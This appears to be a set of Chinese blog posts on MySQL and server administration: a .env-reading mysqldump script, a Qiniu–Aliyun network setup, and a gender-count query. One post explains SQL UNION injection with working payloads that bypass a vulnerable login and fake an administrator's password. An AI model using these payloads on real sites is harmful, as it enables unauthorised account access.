读取 .env 环境变量文件,并使用 mysqldump 导出数据库 作者: Chuwen 时间: 2022-12-10 分类: 其他分类 评论 ## 代码 如果没有 mysqldump 可以使用此命令安装<仅限于 CentOS 系统> ```shell yum install -y holland-mysqldump.noarch ``` --- ```shell #!/bin/bsh function echo_error() { [ $# -ne 1 ] && return 0 echo -e "\033[31m $1 \033[0m" } function echo_danger() { [ $# -ne 1 ] && return 0 echo -e "\033[41;37m $1 \033[0m" } function echo_info() { [ $# -ne 1 ] && return 0 echo -e "\033[32m $1 \033[0m" } function echo_success() { [ $# -ne 1 ] && return 0 echo -e "\033[42;37m $1 \033[0m" } function echo_warning() { [ $# -ne 1 ] && return 0 echo -e "\033[33m $1 \033[0m" } function now_time() { echo $(date '+%Y-%m-%d %H:%M:%S') } if [ ! -f ".env" ]; then echo_danger ".env 不存在,终止执行" exit 127 fi # 将 .env 文件导入环境变量(排除注释行) export $(cat .env | grep -v "^#") # 导出每个表前 1000 条数据 function export_limit_1000() { mysqldump --column-statistics=0 \ --host="${DB_HOST}" \ --user="${DB_USERNAME}" --password="${DB_PASSWORD}" \ "${DB_DATABASE}" \ --where="true limit 1000" >mysqldump_"$(date '+%Y-%m-%d_%H:%M:%S')".sql } function export_sql() { echo_info "[`now_time`] >>> 开始导出数据库" mysqldump --column-statistics=0 \ --host="${DB_HOST}" \ --user="${DB_USERNAME}" --password="${DB_PASSWORD}" \ "${DB_DATABASE}" \ >mysqldump_"$(date '+%Y-%m-%d_%H:%M:%S')".sql echo_success "[`now_time`] <<< 导出数据库完成" } export_sql ``` ## 执行结果 ![](https://cdn.nowtime.cc/2022/12/10/3529888146.png)
使用 mysqldump 导出 MySQL 数据库每张表前 100 行数据 作者: Chuwen 时间: 2022-03-17 分类: MySQL 评论 命令如下: ```shell mysqldump --host=192.168.1.1 \ --user=nowtime_read \ --password=this_is_password \ nowtime \ --where="true limit 100" > nowtime_all.sql ```
七牛云数据库 RDS MySQL 和 阿里云之间构建内网连接 作者: Chuwen 时间: 2022-03-08 分类: 神奇技巧 评论 ## 概要 买过七牛云的云主机/数据库...都知道,七牛云的机器都是阿里云的,所以理论上是可以与阿里云互通的 ![](https://cdn.nowtime.cc/2022/03/08/3266161362.png) 先业务中有个需求,需要使用到阿里云 DTS 服务,所以我一直琢磨着怎么才能让其你云数据库与阿里云之间构建内网连接,提交工单也是答非所问,索性自己研究下 ## 实操 #### 1. 通过探索发现,可以使用「[数据库网关](https://dg.console.aliyun.com/gateway "数据库网关")」与阿里云构建内网连接 #### 2. 新建网关、添加数据库 都是傻瓜式流程,就不细讲了。唯一需要注意的是,就是选择的地域要和你七牛云数据库所在地域相同 ![](https://cdn.nowtime.cc/2022/03/08/99229902.png) #### 3. 添加成功后怎么判断是否构建了内网连接呢? 1. 查询进程名 `dg_agent` 的 PID,使用 `ps -ef |grep dg_agent` 命令查询 PID,得到 PID 是 `23330` ![](https://cdn.nowtime.cc/2022/03/08/3023371666.png) 2. 查询该 PID 网络连接信息 `lsof -p 23330 -nP|grep TCP` ![查询该 PID 网络连接信息 lsof -p 23330 -nP|grep TCP](https://cdn.nowtime.cc/2022/03/08/3165259679.png) 3. 查询步骤 2 中红框中的 IP `100.103.10.149` 结果是:**运营商级NAT(宽带运营商局域网)** 查询链接:https://ip.nowtool.cn/100.103.10.149 ![查询步骤 2 中红框中的 IP 100.103.10.149 结果是:运营商级NAT(宽带运营商局域网)](https://cdn.nowtime.cc/2022/03/08/4208674237.png) 4. 还可以使用 ping 命令,看看之间延时,可以看到延时很低,可以认为这是内网连接 ![还可以使用 ping 命令,看看之间延时,可以看到延时很低,可以认为这是内网连接](https://cdn.nowtime.cc/2022/03/08/1097389399.png) #### 4. 数据迁移如何选择 https://dms.aliyun.com/new#to=migrate ![](https://cdn.nowtime.cc/2022/03/08/1325264857.png)
巧妙地使用 SQL UNION 注入 作者: Chuwen 时间: 2020-07-01 分类: MySQL 评论 我们一般验证用户登录时,密码是否输入正确,一般是会这么做 1. 客户端 通过 post 提交用户名(username)和密码(pwd) 2. 服务端 拿到 username,进行数据库查询(假设没做对SQL注入措施),一般会这样写 SQL 语句(假设 `$username` 变量是获取用户 post 提交的用户名): `SELECT username,pwd FROM user_table WHERE username='$username'` 3. 然后查询得到结果,判断查询结果的密码是否与**接收的密码**一致 4. 好了重点了来了,因为没有做防SQL注入,我们可以这样注入 > 注意末尾 **#** 别漏掉了,写上这个就会忽略后面所有的语句 ``` SELECT username,pwd FROM user_table WHERE username='' UNION SELECT '','45cf93bd4f762c6597b68e615b153bd0'# ``` 此条语句的执行结果是: ``` +----------+----------------------------------+ | username | pwd | +----------+----------------------------------+ | | 45cf93bd4f762c6597b68e615b153bd0 | +----------+----------------------------------+ ``` 没错,我们使用 `UNION SELECT` 查询,可以控制输出字段的值,但前提是你要知道**查询了哪些字段** 这样我们 POST 提交参数: ``` username='UNION SELECT '','123456'#&pwd=123456 ``` 就可以骗过验证 --- 如果你知道某个账号(假设是 `nowtime`)具有**超级管理员权限**,那么让其执行以下语句就可以控制输出其密码 ``` SELECT username,pwd FROM user WHERE username='' UNION select username,'123456' as pwd FROM user where username='nowtime'# ``` 运行结果: ``` +----------+----------+ | username | pwd | +----------+----------+ | nowtime | 123456 | +----------+----------+ ```
MySQL 分别统计 男女数量 作者: Chuwen 时间: 2020-05-24 分类: MySQL 评论 ``` SELECT uSex, COUNT(*) FROM `Users ` WHERE `uSex` IN ( '男', '女' ) GROUP BY `uSex`; ```